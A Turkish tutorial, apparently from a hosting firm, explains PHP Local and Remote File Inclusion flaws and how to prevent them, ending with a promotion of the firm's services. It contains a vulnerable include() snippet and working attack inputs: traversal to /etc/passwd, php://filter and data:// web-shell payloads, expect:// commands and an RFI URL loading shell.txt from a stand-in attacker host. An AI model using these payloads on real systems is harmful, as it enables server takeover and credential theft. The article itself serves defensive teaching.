Web uygulamaları, kullanıcı deneyimini zenginleştirmek ve dinamik içerik sunmak için çeşitli sunucu taraflı işlevselliklere sahiptir. Bu işlevselliklerden biri de dosya ekleme (File Inclusion) özelliğidir. Temelde, bir betiğin içerisine başka bir dosyanın içeriğini dahil etme mantığına dayanan bu yapı, kod tekrarını önlemek ve modüler bir geliştirme ortamı sağlamak için oldukça kullanışlıdır. Ancak, geliştirme aşamasında yapılan hatalar ve alınan güvenlik önlemlerinin yetersizliği, bu kullanışlı özelliği siber saldırganlar için güçlü bir silaha dönüştürebilir. Dosya ekleme zafiyetleri, saldırganların sunucudaki yetkisiz dosyalara erişmesine, hassas verileri sızdırmasına ve hatta sunucu üzerinde tam kontrol elde etmesine olanak tanıyan kritik güvenlik açıklarıdır.
İçerik Tablosu
Dosya Ekleme (File Inclusion) Açıklarına Genel Bakış
Web uygulamalarının temel yapı taşlarından olan dosya ekleme mekanizmaları, doğru yapılandırılmadığında ciddi güvenlik riskleri doğurur. Bu bölümde, dosya ekleme işlevselliğinin ne olduğunu, bu işlevselliğin nasıl bir zafiyete dönüştüğünü ve en yaygın iki türü olan LFI ve RFI’nin temel farklarını ele alacağız.
Web Uygulamalarında Dosya Ekleme İşlevselliği
Modern web geliştirmede, bir web sayfasını oluşturan tüm kodları tek bir dosyada tutmak yerine, kodlar mantıksal parçalara bölünür. Örneğin, bir sitenin üst bilgi (header), alt bilgi (footer) ve menü gibi kısımları ayrı dosyalarda saklanır. Ana sayfa betiği çalıştığında, PHP gibi sunucu taraflı dillerin `include()`, `require()`, `include_once()` veya `require_once()` gibi fonksiyonları kullanılarak bu parçalar ana betiğe dahil edilir. Bu yaklaşım, kodun daha yönetilebilir, okunabilir ve sürdürülebilir olmasını sağlar. Aynı zamanda, birden fazla sayfada kullanılacak ortak bir veritabanı bağlantı dosyasını veya fonksiyon kütüphanesini her seferinde yeniden yazmak yerine tek bir yerden çağırma imkanı sunar.
Dosya Ekleme Zafiyeti Nedir ve Nasıl Oluşur?
Dosya ekleme zafiyeti (File Inclusion Vulnerability), bir uygulamanın, dahil edilecek dosyanın yolunu veya adını kullanıcıdan gelen bir girdi ile dinamik olarak belirlemesi ve bu girdiyi yeterince doğrulamaması veya temizlememesi (sanitization) durumunda ortaya çıkar. Örneğin, bir web sitesi farklı sayfaları göstermek için URL’de bir parametre kullanabilir: `index.php?sayfa=hakkimizda.php`. Burada `sayfa` parametresi, sunucunun hangi dosyayı ekleyeceğini belirler. Eğer uygulama, bu parametreye yazılan değeri kontrol etmeden doğrudan dosya ekleme fonksiyonuna gönderirse, bir saldırgan bu parametreyi manipüle ederek amaçlananın dışında dosyaları da sisteme dahil ettirebilir. Bu durum, sunucudaki hassas bilgilerin okunmasından uzaktan kod çalıştırmaya kadar varan ciddi sonuçlara yol açabilir.
LFI ve RFI Arasındaki Temel Farklar
Dosya ekleme zafiyetleri, eklenmek istenen dosyanın konumuna göre iki ana kategoriye ayrılır: Yerel Dosya Ekleme (Local File Inclusion – LFI) ve Uzak Dosya Ekleme (Remote File Inclusion – RFI). Bu iki zafiyet türü arasındaki temel fark, saldırganın hedef aldığı dosyanın kaynağıdır.
| Özellik | LFI (Local File Inclusion) | RFI (Remote File Inclusion) |
|---|---|---|
| Dosya Kaynağı | Saldırgan, hedef sunucuda zaten var olan yerel bir dosyayı hedefler. | Saldırgan, kendi kontrolündeki uzak bir sunucuda bulunan bir dosyayı hedefler. |
| Temel Amaç | Sistem dosyalarını okumak, hassas bilgileri (şifreler, konfigürasyonlar) sızdırmak. | Uzak sunucudaki zararlı kodu hedef sunucuda çalıştırmak (Remote Code Execution – RCE). |
| Gereken Koşul | Kullanıcı girdisinin dosya yolu olarak işlenmesi ve filtrelenmemesi yeterlidir. | PHP ayarlarında `allow_url_include` direktifinin `On` olarak ayarlanmış olması gerekir. |
| Etki Düzeyi | Genellikle bilgi sızdırma ile sınırlıdır, ancak log zehirleme gibi tekniklerle RCE’ye dönüşebilir. | Doğrudan uzaktan kod çalıştırmaya (RCE) ve sunucunun tamamen ele geçirilmesine yol açar. |
Yerel Dosya Ekleme (LFI – Local File Inclusion) Zafiyeti
LFI, saldırganların aynı sunucu üzerinde bulunan dosyalara yetkisiz erişim sağlamasına olanak tanıyan kritik bir güvenlik açığıdır. Genellikle bilgi sızdırma amacıyla kullanılsa da, belirli koşullar altında çok daha tehlikeli saldırılara zemin hazırlayabilir.
LFI Zafiyeti Nedir?
LFI zafiyeti, web uygulamasının kullanıcıdan aldığı bir girdiyi (genellikle bir dosya adı veya yolu) yetersiz bir şekilde doğrulayarak, sunucudaki yerel dosya sisteminden bir dosyayı okumak veya çalıştırmak için kullanması durumunda meydana gelir. Saldırgan, bu zafiyeti kullanarak uygulama kodunun erişim yetkisi dahilindeki herhangi bir dosyayı okuyabilir. Bu, sistem parolalarını, veritabanı kimlik bilgilerini, uygulama kaynak kodlarını ve diğer hassas verileri içerebilir.
PHP’de LFI Zafiyetine Neden Olan Kodlama Hataları
PHP’de LFI zafiyetinin en yaygın nedeni, geliştiricilerin kullanıcıdan gelen veriyi doğrudan `include()` veya `require()` gibi dosya ekleme fonksiyonlarına parametre olarak vermesidir. Aşağıda tipik bir zafiyetli kod parçası örneği verilmiştir:
<?php
$sayfa = $_GET['sayfa'];
include($sayfa . '.php');
?>
Bu kodda, URL üzerinden gelen `sayfa` parametresinin değeri alınarak sonuna `.php` uzantısı eklenip `include` fonksiyonuna veriliyor. İlk bakışta sadece `.php` uzantılı dosyaların eklenebileceği düşünülse de, saldırganlar bu korumayı çeşitli tekniklerle aşabilirler.
Temel LFI Saldırı Teknikleri
Saldırganlar, LFI zafiyetlerini sömürmek için çeşitli yöntemler kullanır. En yaygın olanları Dizin Geçişi ve Null Byte Enjeksiyonu’dur.
Dizin Geçişi (Path Traversal) Saldırıları
Dizin Geçişi (veya “dot-dot-slash”) saldırısı, saldırganın uygulama tarafından hedeflenen dizinin dışına çıkarak dosya sisteminin diğer bölgelerine erişmesini sağlar. `../` karakter dizisi, dosya sisteminde bir üst dizine çıkmayı ifade eder. Yukarıdaki zafiyetli kod örneği için bir saldırgan, URL’yi şu şekilde manipüle edebilir:
index.php?sayfa=../../../../etc/passwd
Sunucu bu isteği işlediğinde, `include` fonksiyonu `../../../../etc/passwd.php` dosyasını eklemeye çalışır. Ancak, `/etc/passwd` dosyasının bir uzantısı olmadığı için bu saldırı genellikle başarısız olur. Fakat bu tür kısıtlamaları aşmanın da yolları vardır.
Null Byte Enjeksiyonu Tekniği
Null byte enjeksiyonu (`%00`), PHP’nin eski sürümlerinde (5.3.4 öncesi) etkili olan bir tekniktir. C tabanlı dillerde null byte, bir string’in (karakter dizisinin) sonunu işaret eder. Saldırgan, Dizin Geçişi saldırısını bu teknikle birleştirerek kodun sonuna eklenen `.php` uzantısını etkisiz hale getirebilir:
index.php?sayfa=../../../../etc/passwd%00
PHP yorumlayıcısı, `../../../../etc/passwd%00.php` ifadesini gördüğünde, null byte karakterinden sonrasını yok sayar ve `../../../../etc/passwd` dosyasını olduğu gibi işlemeye çalışır. Bu da dosya içeriğinin ekrana basılmasına neden olur. Güncel PHP sürümlerinde bu açık kapatılmış olsa da, eski sistemlerde hala bir risk oluşturmaktadır.
LFI ile Sistem Dosyalarını Okuma Örnekleri
LFI zafiyeti başarıyla sömürüldüğünde, saldırganlar sistem hakkında değerli bilgiler içeren kritik dosyalara erişebilirler.
Linux Sistemlerde `/etc/passwd` Dosyasını Okuma
Linux tabanlı sistemlerde `/etc/passwd` dosyası, sistemdeki kullanıcıların listesini içerir. Bu dosyanın okunması, saldırgana sistemde hangi kullanıcı hesaplarının olduğunu gösterir ve bu bilgiyi daha ileri saldırılar için bir başlangıç noktası olarak kullanmasına olanak tanır. Şifrelerin kendisi bu dosyada olmasa da (genellikle `/etc/shadow` dosyasındadır ve bu dosyaya erişim daha kısıtlıdır), kullanıcı adlarını öğrenmek bile önemli bir adımdır.
Windows Sistemlerde `C:\boot.ini` Dosyasını Okuma
Windows sistemlerde ise `C:\boot.ini` gibi dosyalar hedeflenebilir. Bu dosya, sistemin başlangıç (boot) ayarları hakkında bilgi içerir ve işletim sistemi sürümü gibi detayları ortaya çıkarabilir. Bu bilgiler, sisteme yönelik daha spesifik zafiyetlerin aranması için kullanılabilir.
Uygulama Konfigürasyon Dosyalarına Erişim
Belki de en tehlikeli senaryolardan biri, saldırganın web uygulamasının kendi konfigürasyon dosyalarına erişmesidir. Örneğin, `config.php` veya `.env` gibi dosyalar genellikle veritabanı bağlantı bilgilerini (kullanıcı adı, şifre, sunucu adresi) içerir. Bu bilgilere erişen bir saldırgan, uygulamanın tüm veritabanını ele geçirebilir.
Log Dosyaları Üzerinden Kod Çalıştırma (Log Poisoning)
LFI zafiyeti, basit bir bilgi sızdırma açığından uzaktan kod çalıştırma (RCE) zafiyetine dönüştürülebilir. Bunun bir yolu “log zehirleme” (log poisoning) tekniğidir. Saldırgan, web sunucusunun (örneğin Apache) erişim loglarına kasıtlı olarak PHP kodu içeren bir istek gönderir. Örneğin, User-Agent başlığına veya URL’nin kendisine `` gibi bir kod enjekte eder. Sunucu bu hatalı isteği log dosyasına (`/var/log/apache2/access.log` gibi) yazar. Daha sonra saldırgan, LFI zafiyetini kullanarak bu log dosyasını `include` ettirir. Log dosyası PHP yorumlayıcısı tarafından işleneceği için, içine enjekte edilen kod çalışır ve saldırgan `cmd` parametresi üzerinden sunucuda komut çalıştırabilir hale gelir.
Uzak Dosya Ekleme (RFI – Remote File Inclusion) Zafiyeti
RFI, LFI’ye göre genellikle daha yıkıcı etkilere sahip bir zafiyettir çünkü saldırganın hedef sunucuya tamamen yabancı ve kendi kontrolündeki bir kaynaktan kod enjekte etmesine olanak tanır. Bu durum, neredeyse her zaman sunucunun tamamen ele geçirilmesiyle sonuçlanır.
RFI Zafiyeti Nedir?
Uzak Dosya Ekleme (RFI), bir web uygulamasının, kullanıcıdan aldığı bir URL’yi doğrulamadan dosya ekleme fonksiyonlarına dahil etmesiyle ortaya çıkar. Saldırgan, bu zafiyeti kullanarak kendi sunucusunda barındırdığı zararlı bir betiği (örneğin bir web shell) hedef sunucuya `include` ettirir. Hedef sunucunun PHP yorumlayıcısı, bu uzak dosyayı sanki yerel bir dosyymış gibi çalıştırır. Bu, saldırgana hedef sunucu üzerinde komut çalıştırma, dosya okuma/yazma ve sistemde tam kontrol sağlama gibi çok geniş yetkiler verir.
RFI Zafiyetinin Ortaya Çıkma Koşulları: `php.ini` Yapılandırması
RFI saldırısının başarılı olabilmesi için, LFI’den farklı olarak, hedef sunucudaki PHP yapılandırmasının belirli bir şekilde ayarlanmış olması gerekir. Bu ayarlar `php.ini` dosyasında bulunur.
`allow_url_fopen` Direktifi
Bu direktif, PHP’nin dosya fonksiyonlarının (örneğin `fopen()`, `file_get_contents()`) URL’leri bir dosya gibi açıp açamayacağını kontrol eder. RFI’nin çalışabilmesi için bu ayarın `On` (açık) olması bir ön koşuldur, çünkü PHP’nin uzak sunucudaki dosyaya erişebilmesi gerekir. Çoğu modern hosting yapılandırmasında bu ayar varsayılan olarak açıktır.
`allow_url_include` Direktifi
Bu, RFI için en kritik ayardır. Bu direktif, `include`, `require` gibi fonksiyonların uzak URL’lerden dosya eklemesine izin verip vermeyeceğini belirler. Güvenlik nedeniyle, PHP’nin modern sürümlerinde bu ayar varsayılan olarak `Off` (kapalı) konumdadır. Bir RFI saldırısının gerçekleşebilmesi için bu direktifin `On` olarak ayarlanmış olması zorunludur. Eski veya yanlış yapılandırılmış sunucularda bu ayar açık bırakılmış olabilir.
RFI Saldırısı Nasıl Gerçekleştirilir?
Zafiyetli bir kod parçası düşünelim: `include($_GET[‘dosya’]);`. Saldırgan, kendi kontrolündeki `http://kotu-niyetli-site.com/shell.txt` adresinde `` gibi basit bir PHP kodu barındırdığını varsayalım. Saldırgan, hedef siteye şu şekilde bir istek gönderir:
http://hedefsite.com/index.php?dosya=http://kotu-niyetli-site.com/shell.txt
Eğer `allow_url_include` açıksa, hedef sunucu `kotu-niyetli-site.com` adresine bağlanacak, `shell.txt` dosyasını indirecek ve içeriğini PHP kodu olarak çalıştıracaktır. Sonuç olarak, hedef sunucunun PHP bilgileri saldırganın ekranında görünecektir. Saldırgan, `phpinfo()` yerine karmaşık bir web shell yükleyerek sunucu üzerinde tam kontrol sağlayabilir.
RFI’nin Yıkıcı Etkileri: Uzaktan Kod Çalıştırma (RCE) Riski
RFI zafiyetinin varlığı, neredeyse her zaman doğrudan Uzaktan Kod Çalıştırma (Remote Code Execution – RCE) anlamına gelir. RCE, bir saldırganın hedef sistem üzerinde keyfi işletim sistemi komutları çalıştırabilmesi durumudur. Bu, en yüksek riskli zafiyetlerden biridir. RCE yetkisi kazanan bir saldırgan şunları yapabilir:
- Sunucudaki tüm dosyaları okuyabilir, değiştirebilir veya silebilir.
- Veritabanlarına erişebilir ve verileri çalabilir veya yok edebilir.
- Sunucuya arka kapı (backdoor) veya fidye yazılımı (ransomware) gibi zararlı yazılımlar yükleyebilir.
- Sunucuyu, diğer sistemlere yönelik saldırılar (DDoS, spam gönderimi vb.) için bir sıçrama tahtası olarak kullanabilir.
- Ağdaki diğer sunuculara sızmaya çalışabilir.
PHP Wrapper’ları Kullanarak Gelişmiş Dosya Okuma ve Kod Çalıştırma Teknikleri
Saldırganlar, dosya ekleme zafiyetlerini sömürürken basit dosya yollarının ötesine geçerek PHP’nin “wrapper” adı verilen yerleşik protokollerini kötüye kullanabilirler. Bu wrapper’lar, dosya benzeri kaynaklara erişim için alternatif yollar sunar ve saldırganlara filtreleri atlatma, kaynak kodunu görüntüleme ve hatta doğrudan kod enjekte etme gibi gelişmiş yetenekler kazandırır.
PHP Wrapper Nedir ve Saldırılarda Nasıl Kötüye Kullanılır?
PHP stream wrapper’ları, `http://`, `ftp://` gibi bilinen protokollerin yanı sıra `php://`, `data://`, `expect://` gibi özel akışlara erişim sağlayan bir arayüzdür. Normalde dosya yönetimi ve veri akışı için tasarlanmış olsalar da, bir LFI/RFI zafiyeti bağlamında güçlü birer saldırı aracına dönüşebilirler. Saldırgan, dosya adı yerine bu wrapper’ları kullanarak uygulamanın dosya ekleme mantığını farklı şekillerde manipüle edebilir.
`php://filter` Wrapper’ı ile Dosya Kaynak Kodunu Görüntüleme
Belki de en sık kullanılan wrapper’lardan biri `php://filter`’dır. Bu wrapper, bir dosya okunmadan önce ona çeşitli filtreler uygulama imkanı tanır. Saldırganlar için en kullanışlı özellik, dosyaları `base64` gibi formatlarda kodlayarak okuma yeteneğidir. Bu teknik, sunucunun `.php` dosyalarını doğrudan çalıştırmasını engellemek ve bunun yerine kaynak kodunu elde etmek için kullanılır.
Örnek saldırı: `index.php?sayfa=php://filter/convert.base64-encode/resource=config.php`
Bu istek, `config.php` dosyasının içeriğini `base64` formatında kodlayarak ekrana basar. Sunucu, dosyanın içeriğini PHP kodu olarak çalıştırmak yerine, kodlanmış metni bir çıktı olarak döndürür. Saldırgan daha sonra bu metni kendi tarafında çözerek veritabanı şifreleri gibi hassas bilgileri içeren kaynak kodunu okuyabilir.
`data://` Wrapper’ı ile Kod Enjeksiyonu
Eğer sunucuda `allow_url_include` ayarı açıksa, `data://` wrapper’ı RFI için harici bir sunucuya ihtiyaç duymadan doğrudan kod enjekte etme imkanı sunar. Bu wrapper, veriyi doğrudan URL’nin kendisinde taşımanıza olanak tanır.
Örnek saldırı: `index.php?sayfa=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+`
Burada `PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+` ifadesi, `` kodunun base64 ile kodlanmış halidir. PHP, bu veriyi bir dosya gibi işler, base64’ü çözer ve ortaya çıkan PHP kodunu çalıştırır. Bu, harici bir bağlantıya gerek kalmadan RCE elde etmenin etkili bir yoludur.
`expect://` Wrapper’ı ile Komut Çalıştırma
`expect://` wrapper’ı, interaktif akışları işlemek için tasarlanmıştır ve `expect` eklentisinin sunucuda yüklü olmasını gerektirir. Eğer yüklüyse, LFI zafiyeti aracılığıyla doğrudan işletim sistemi komutları çalıştırmak için kullanılabilir.
Örnek saldırı: `index.php?sayfa=expect://ls`
Bu istek, sunucuda `ls` komutunu çalıştırır ve çıktısını web sayfası üzerinde gösterir. Bu, `expect` eklentisinin nadiren aktif olması nedeniyle daha az yaygın bir tekniktir ancak oldukça tehlikelidir.
`zip://` ve `phar://` Wrapper’ları ile Arşivlenmiş Dosyalara Erişim
`zip://` ve `phar://` wrapper’ları, saldırganların sunucuya yüklenmiş arşiv dosyalarının (ZIP, PHAR vb.) içeriğine erişmesini sağlar. Eğer bir saldırgan sunucuya bir şekilde `.zip` uzantılı bir dosya yükleyebilirse (örneğin, bir profil resmi yükleme fonksiyonu aracılığıyla), bu wrapper’ı kullanarak arşiv içindeki zararlı bir betiği çalıştırabilir.
Örnek saldırı: `index.php?sayfa=zip://uploads/arsiv.zip%23shell.php`
Bu istek, `uploads` klasöründeki `arsiv.zip` dosyasını açar ve içindeki `shell.php` dosyasını `include` etmeye çalışır. Bu, dosya yükleme kısıtlamalarını (örneğin sadece resim dosyalarına izin verilmesi) atlatmak için kullanılabilir.
| PHP Wrapper | Temel İşlevi | Saldırı Senaryosu | Gereken Koşul |
|---|---|---|---|
| `php://filter` | Dosya okunurken filtreleme/kodlama uygulama | `.php` dosyalarının kaynak kodunu base64 ile kodlayarak okuma | LFI zafiyeti olması yeterlidir. |
| `data://` | Veriyi doğrudan URL içinde taşıma | Harici sunucuya ihtiyaç duymadan RCE için kod enjekte etme | `allow_url_include = On` |
| `expect://` | İnteraktif akışlar üzerinden komut çalıştırma | LFI üzerinden doğrudan OS komutu çalıştırma | `expect` eklentisinin yüklü olması |
| `zip://` | ZIP arşivlerinin içeriğine erişim | Yüklenmiş bir arşiv içindeki zararlı dosyayı çalıştırma | Sunucuda ZIP arşivinin bulunması |
Dosya Ekleme Zafiyetlerini Tespit Etme ve Önleme Yöntemleri
Dosya ekleme zafiyetleri son derece tehlikeli olabildiğinden, bu tür açıklıkları hem geliştirme aşamasında hem de sonrasında proaktif olarak tespit etmek ve önlemek kritik öneme sahiptir. Güvenli bir web uygulaması için manuel kod analizi, otomatik tarama araçları, güvenli kodlama pratikleri ve doğru sunucu yapılandırması bir arada kullanılmalıdır.
Manuel Kod Analizi ile Zafiyet Tespiti
Zafiyet tespitinin en temel ve etkili yollarından biri, uygulamanın kaynak kodunu manuel olarak incelemektir. Geliştiriciler ve güvenlik analistleri, özellikle kullanıcıdan gelen verilerin işlendiği noktalara odaklanmalıdır. Kod içerisinde `include`, `require`, `include_once`, `require_once`, `fopen`, `file_get_contents` gibi dosya işlemleri yapan fonksiyonların kullanıldığı yerler dikkatle incelenmelidir. Eğer bu fonksiyonlara parametre olarak `$_GET`, `$_POST`, `$_COOKIE` gibi süper global dizilerden gelen ve temizlenmemiş veriler aktarılıyorsa, bu potansiyel bir zafiyete işarettir.
Otomatik Zafiyet Tarama Araçlarının Kullanımı
Büyük ve karmaşık uygulamalarda her kod satırını manuel olarak incelemek zor olabilir. Bu noktada, otomatik zafiyet tarama araçları (Dynamic Application Security Testing – DAST veya Static Application Security Testing – SAST) devreye girer. Bu araçlar, uygulamayı bir saldırganın bakış açısıyla test ederek veya kaynak kodunu statik olarak analiz ederek potansiyel LFI/RFI açıklarını ve diğer güvenlik zafiyetlerini tespit etmeye çalışır. Araçlar, bilinen saldırı vektörlerini (örneğin `../` enjeksiyonu) otomatik olarak deneyerek zafiyetleri ortaya çıkarabilir.
Güvenli Kodlama Prensipleri ve En İyi Uygulamalar
Zafiyetleri sonradan bulup düzeltmek yerine, en başından güvenli kod yazma alışkanlığı edinmek en doğru yaklaşımdır. Dosya ekleme zafiyetlerini önlemek için aşağıdaki prensipler hayati önem taşır.
Kullanıcı Girdilerini Doğrulama ve Temizleme (Input Validation & Sanitization)
Kullanıcıdan gelen hiçbir veriye güvenilmemelidir. Dosya adı olarak kullanılacak girdiler, beklenen formatta olup olmadığına dair sıkı bir şekilde doğrulanmalıdır. Örneğin, sadece harf ve rakam içermesi gereken bir girdi `.` veya `/` gibi özel karakterler içeriyorsa reddedilmelidir. Temizleme (sanitization) işlemi ise, girdideki potansiyel zararlı karakterleri (örneğin `../`) kaldırarak veriyi zararsız hale getirmeyi amaçlar.
Beyaz Liste (Whitelist) Yaklaşımı Kullanımı
Kara liste (blacklist) yaklaşımı, bilinen tehlikeli girdileri (`../`, `http://` vb.) engellemeye çalışır ancak saldırganlar bu filtreleri atlatmak için sürekli yeni yollar bulur. Bunun yerine, çok daha güvenli olan beyaz liste (whitelist) yaklaşımı benimsenmelidir. Bu yaklaşımda, sadece izin verilen, önceden tanımlanmış bir dizi değer kabul edilir. Örneğin, dahil edilebilecek dosyaların bir listesi oluşturulur ve kullanıcıdan gelen girdi bu listede yer almıyorsa işlem reddedilir.
<?php
$izinli_sayfalar = ['anasayfa', 'hakkimizda', 'iletisim'];
$istenen_sayfa = $_GET['sayfa'];
if (in_array($istenen_sayfa, $izinli_sayfalar)) {
include($istenen_sayfa . '.php');
} else {
include('hata.php');
}
?>
Bu kod, sadece `$izinli_sayfalar` dizisinde bulunan değerlerin `include` edilmesine izin vererek LFI/RFI riskini tamamen ortadan kaldırır.
Güvenli Dosya Yolu Yönetimi
Kullanıcı girdisini doğrudan dosya yolu olarak kullanmaktan kaçının. Bunun yerine, sabit bir dizin yolu tanımlayın ve kullanıcıdan gelen girdiyi bu yola ekleyerek tam dosya yolunu oluşturun. `basename()` fonksiyonu, bir dosya yolundan sadece dosya adını alarak `../` gibi dizin geçişi karakterlerini temizler ve ek bir güvenlik katmanı sağlar.
Sunucu ve PHP Yapılandırmasını Güvenlileştirme
Uygulama kodunun güvenliği kadar, üzerinde çalıştığı sunucunun yapılandırması da önemlidir. Özellikle RFI riskini ortadan kaldırmak için `php.ini` dosyasında aşağıdaki ayarların yapıldığından emin olunmalıdır:
- `allow_url_include = Off`: Bu ayar, `include` ve `require` fonksiyonlarının uzak URL’leri açmasını engeller. Bu, RFI zafiyetini önlemek için en kritik ayardır ve mutlaka kapalı olmalıdır.
- `allow_url_fopen = Off`: Eğer uygulamanızın harici URL’lerden dosya okumasına gerek yoksa, bu ayarı da kapatmak ek bir güvenlik katmanı sağlar.
Ayrıca, PHP’nin `open_basedir` direktifi kullanılarak betiklerin erişebileceği dosya sistemi yolları kısıtlanabilir. Bu, bir LFI zafiyeti olsa bile saldırganın sadece belirlenen dizinler içinde gezinmesine izin vererek zararın kapsamını sınırlar. Güvenlik için bir SSL sertifikası kullanmak da veri iletimini şifreleyerek genel güvenliği artırır.
Web Uygulama Güvenliğiniz İçin Neden İHS Telekom’u Tercih Etmelisiniz?
Web uygulama güvenliği, sadece kod yazmaktan ibaret değildir; aynı zamanda uygulamanın barındırıldığı altyapının güvenliğine, proaktif koruma mekanizmalarına ve olası bir saldırı durumunda alınacak hızlı aksiyonlara da bağlıdır. İHS Telekom, bu bütüncül güvenlik yaklaşımını benimseyerek web varlıklarınızı LFI, RFI gibi kritik zafiyetlere karşı korumak için kapsamlı çözümler sunar. Bir alan adı kaydettikten sonra projenizi güvenli bir altyapıda barındırmak, başarının ilk adımıdır.
Güvenli Barındırma Altyapısı ve Zafiyet Koruması
İHS Telekom, sunucularını en güncel güvenlik standartlarına göre yapılandırır. PHP ayarları, RFI gibi bilinen riskleri en aza indirecek şekilde optimize edilmiştir. İster paylaşımlı bir WordPress hosting paketi, ister esnek bir VPS ya da yüksek performanslı bir VDS kullanın, altyapımız potansiyel tehditlere karşı sürekli olarak izlenir ve güçlendirilir. Güvenli yapılandırmalar, zafiyetlerin sömürülme olasılığını önemli ölçüde azaltır.
Web Application Firewall (WAF) Hizmetleri ile Proaktif Koruma
Web Uygulama Güvenlik Duvarı (WAF), uygulamanız ile internet arasındaki trafikte bir kalkan görevi görür. İHS Telekom’un sunduğu gelişmiş WAF hizmetleri, bilinen LFI ve RFI saldırı modellerini (örneğin, `../` veya `php://filter` içeren istekler) tespit ederek bu zararlı istekler uygulamanıza ulaşmadan önce engeller. Bu proaktif koruma katmanı, kodunuzda gözden kaçmış olabilecek zafiyetlere karşı etkili bir savunma sağlar.
Düzenli Güvenlik Taramaları ve Detaylı Raporlama
Güvenlik sürekli bir süreçtir. İHS Telekom, müşterilerine düzenli güvenlik tarama hizmetleri sunarak web uygulamalarındaki potansiyel açıkları tespit eder. Bu taramalar sonucunda oluşturulan detaylı raporlar, zafiyetlerin nerede olduğunu ve nasıl düzeltileceğini net bir şekilde ortaya koyar. Bu sayede, güvenlik duruşunuzu sürekli olarak iyileştirme imkanına sahip olursunuz.
Olası Saldırılara Karşı 7/24 Uzman Teknik Destek
En iyi koruma önlemlerine rağmen bir güvenlik olayı yaşanması durumunda hızlı ve doğru müdahale hayati önem taşır. İHS Telekom’un 7/24 hizmet veren uzman teknik destek ekibi, olası bir saldırı anında size yol göstermek, sorunun kaynağını tespit etmek ve sisteminizi en kısa sürede güvenli hale getirmek için hazırdır. Bu destek, kriz anlarında işletmenizin kesintiye uğramasını ve veri kaybı yaşamasını önler.

